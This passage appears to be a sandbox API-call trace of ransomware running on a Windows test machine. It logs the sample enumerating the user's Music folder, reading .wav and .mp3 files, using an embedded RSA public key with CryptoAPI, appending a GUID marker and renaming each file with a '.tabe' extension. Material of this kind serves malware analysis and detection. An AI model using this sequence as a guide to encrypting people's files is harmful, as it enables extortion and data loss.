KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.402] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.402] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.402] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.403] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.403] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.403] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.403] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.403] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.403] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.403] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.403] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.403] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.404] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.404] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15a9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.404] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.404] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.404] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.405] CloseHandle (hObject=0x618) returned 1 [0126.406] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2BR1Eq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2br1eq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2BR1Eq.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2br1eq.wav.tabe")) returned 1 [0126.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42e1f550, ftCreationTime.dwHighDateTime=0x1d5df75, ftLastAccessTime.dwLowDateTime=0x5a012150, ftLastAccessTime.dwHighDateTime=0x1d5de6e, ftLastWriteTime.dwLowDateTime=0x5a012150, ftLastWriteTime.dwHighDateTime=0x1d5de6e, nFileSizeHigh=0x0, nFileSizeLow=0xa7f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="6zmni1gT8J47.wav", cAlternateFileName="6ZMNI1~1.WAV")) returned 1 [0126.408] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6zmni1gT8J47.wav") returned=".wav" [0126.408] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6zmni1gT8J47.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6zmni1gt8j47.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.408] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=42998) returned 1 [0126.408] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.409] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa7d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.409] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.410] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.410] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xa7f6, lpOverlapped=0x0) returned 1 [0126.411] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.411] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.411] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.411] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.412] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.412] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.412] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.412] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.412] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.412] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.412] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.412] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.412] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.412] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.413] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xa7f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.413] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.413] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.413] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.413] CloseHandle (hObject=0x618) returned 1 [0126.414] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6zmni1gT8J47.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6zmni1gt8j47.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6zmni1gT8J47.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6zmni1gt8j47.wav.tabe")) returned 1 [0126.415] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c3fc00, ftCreationTime.dwHighDateTime=0x1d5db51, ftLastAccessTime.dwLowDateTime=0x850fbeb0, ftLastAccessTime.dwHighDateTime=0x1d5e26a, ftLastWriteTime.dwLowDateTime=0x850fbeb0, ftLastWriteTime.dwHighDateTime=0x1d5e26a, nFileSizeHigh=0x0, nFileSizeLow=0xc3c7, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="8LMATf9HzFQ.mp3", cAlternateFileName="8LMATF~1.MP3")) returned 1 [0126.416] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8LMATf9HzFQ.mp3") returned=".mp3" [0126.416] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8LMATf9HzFQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8lmatf9hzfq.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.416] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=50119) returned 1 [0126.416] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.417] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc3a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.417] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.418] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xc3c7, lpOverlapped=0x0) returned 1 [0126.419] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.419] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.419] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.419] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866ea0) returned 1 [0126.420] CryptCreateHash (in: hProv=0x866ea0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.420] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.420] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.420] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.420] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.420] CryptReleaseContext (hProv=0x866ea0, dwFlags=0x0) returned 1 [0126.420] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.420] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.420] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.420] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.421] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xc3c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.421] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.421] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.421] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.421] CloseHandle (hObject=0x618) returned 1 [0126.422] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8LMATf9HzFQ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8lmatf9hzfq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\8LMATf9HzFQ.mp3.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\8lmatf9hzfq.mp3.tabe")) returned 1 [0126.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.423] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0126.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1103b70, ftCreationTime.dwHighDateTime=0x1d5e282, ftLastAccessTime.dwLowDateTime=0x62d214c0, ftLastAccessTime.dwHighDateTime=0x1d5e7f0, ftLastWriteTime.dwLowDateTime=0x62d214c0, ftLastWriteTime.dwHighDateTime=0x1d5e7f0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="fqXOARG", cAlternateFileName="")) returned 1 [0126.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38953bc0, ftCreationTime.dwHighDateTime=0x1d5dca0, ftLastAccessTime.dwLowDateTime=0x8455ec70, ftLastAccessTime.dwHighDateTime=0x1d5e39a, ftLastWriteTime.dwLowDateTime=0x8455ec70, ftLastWriteTime.dwHighDateTime=0x1d5e39a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="FtYbuj0", cAlternateFileName="")) returned 1 [0126.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf44f740, ftCreationTime.dwHighDateTime=0x1d5e06c, ftLastAccessTime.dwLowDateTime=0x35738480, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x35738480, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="hmNSQ", cAlternateFileName="")) returned 1 [0126.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 1 [0126.423] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 0 [0126.423] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.423] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.423] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0126.423] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.423] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.423] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.423] PathFindFileNameW (pszPath="") returned="" [0126.423] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 0xffffffff [0126.424] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.424] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0126.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.424] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.424] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.424] PathFindFileNameW (pszPath="") returned="" [0126.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddccd0, ftCreationTime.dwHighDateTime=0x1d5da37, ftLastAccessTime.dwLowDateTime=0xd283ad80, ftLastAccessTime.dwHighDateTime=0x1d5db96, ftLastWriteTime.dwLowDateTime=0xd283ad80, ftLastWriteTime.dwHighDateTime=0x1d5db96, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="ZdwCD4E1y", cAlternateFileName="ZDWCD4~1")) returned 0xffffffff [0126.424] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.424] PeekMessageW (in: 